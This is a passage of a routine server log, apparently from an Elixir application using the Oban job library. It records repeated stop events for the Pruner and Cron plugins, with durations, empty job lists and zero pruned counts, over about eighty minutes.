{"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:48.696 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.232 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:29:18.697 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:48.699 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.233 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:30:18.700 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:48.701 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.234 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:31:18.702 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:48.703 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.235 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:32:18.704 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:48.705 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.236 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:33:18.706 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:48.707 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.237 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:34:18.708 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:48.709 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.238 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:35:18.710 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:48.711 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.239 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:36:18.712 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:48.713 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.240 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:37:18.714 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:48.715 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.242 [info] {"source":"oban","duration":341,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:38:18.716 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:48.717 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.243 [info] {"source":"oban","duration":370,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:39:18.718 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:48.719 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.243 [info] {"source":"oban","duration":327,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:40:18.720 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:48.721 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.244 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:41:18.722 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:48.723 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.245 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:42:18.725 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:48.726 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.246 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:43:18.727 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:48.729 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.247 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:44:18.730 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:48.731 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.248 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:45:18.732 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:48.732 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.249 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:46:18.734 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:48.735 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.250 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:47:18.736 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:48.737 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.251 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:48:18.738 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:48.739 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.252 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:49:18.740 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:48.741 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.253 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:50:18.742 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:48.744 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.254 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:51:18.745 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:48.746 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.255 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:52:18.748 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:48.749 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.256 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:53:18.750 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:48.751 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.257 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:54:18.752 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:48.754 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.258 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:55:18.755 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:48.757 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.259 [info] {"source":"oban","duration":378,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:56:18.758 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:48.759 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.260 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:57:18.760 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:48.761 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.261 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:58:18.763 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:48.764 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.262 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:59:18.765 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:48.766 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.263 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:00:18.767 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:48.768 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.264 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:01:18.769 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:48.770 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.265 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:02:18.771 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:48.772 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.266 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:03:18.773 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:48.775 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.268 [info] {"source":"oban","duration":417,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:04:18.776 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:48.777 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.268 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:05:18.777 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:48.779 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.269 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:06:18.780 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:48.781 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.270 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:07:18.782 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:48.783 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.271 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:08:18.784 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:48.785 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.272 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:09:18.787 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:48.788 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.273 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:10:18.789 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:48.790 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.274 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:11:18.792 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:48.793 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.275 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:12:18.794 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:48.795 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.276 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:13:18.796 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:48.797 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.277 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:14:18.798 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:48.799 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.278 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:15:18.800 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:48.801 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.279 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:16:18.802 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:48.803 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.280 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:17:18.804 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:48.805 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.281 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:18:18.806 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:48.807 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.282 [info] {"source":"oban","duration":277,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:19:18.808 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:48.809 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.283 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:20:18.810 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:48.811 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.284 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:21:18.812 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:48.812 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.285 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:22:18.814 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:48.815 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.286 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:23:18.816 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:48.817 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.287 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:24:18.818 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:48.819 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:00.288 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:25:18.820 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:48.821 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.289 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:26:18.822 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:48.823 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.290 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:27:18.824 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:48.825 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.291 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:28:18.826 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:48.827 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.292 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:29:18.828 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:48.829 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.293 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:30:18.830 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:48.832 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.294 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:31:18.833 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:48.834 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.295 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:32:18.835 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:48.836 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.296 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:33:18.837 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:48.838 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.297 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:34:18.839 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:48.840 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.298 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:35:18.841 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:48.842 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.299 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:36:18.844 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:48.845 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.300 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:37:18.846 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:48.847 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.302 [info] {"source":"oban","duration":344,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:38:18.848 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:48.849 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.302 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:39:18.850 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:48.852 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.303 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:40:18.853 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:48.854 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.304 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:41:18.855 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:48.856 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:00.305 [info] {"source":"oban","duration":324,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:42:18.857 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:48.858 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.306 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:43:18.859 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:48.860 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.307 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:44:18.861 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:48.863 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.308 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:45:18.864 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:48.865 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.310 [info] {"source":"oban","duration":350,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:46:18.866 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:48.867 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.310 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:47:18.868 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:48.869 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.311 [info] 